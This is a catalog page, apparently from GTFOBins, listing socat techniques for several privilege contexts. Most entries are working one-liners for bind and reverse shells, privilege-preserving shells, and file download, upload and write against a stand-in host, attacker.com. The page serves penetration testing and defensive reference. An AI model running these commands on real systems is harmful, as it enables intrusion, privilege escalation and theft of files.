Catalog GTFOBins

GTFO · Tool

socat

21 techniques Linux · macOSGTFOBins GPL-3.0

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
Context
sudo
Native
bind-shell

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
Context
suid
Native
bind-shell

bind-shell

Reverse/Bind Shell LinuxmacOS
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
Context
unprivileged
Native
bind-shell

download

File DownloadPrivilege Escalation LinuxmacOS
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
Context
unprivileged
Native
download
MITRE
T1105

file-write

File WritePrivilege Escalation LinuxmacOS

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat
Context
unprivileged
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
Context
unprivileged
Native
reverse-shell

upload

File UploadPrivilege Escalation LinuxmacOS
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
Context
suid
Native
upload
MITRE
T1041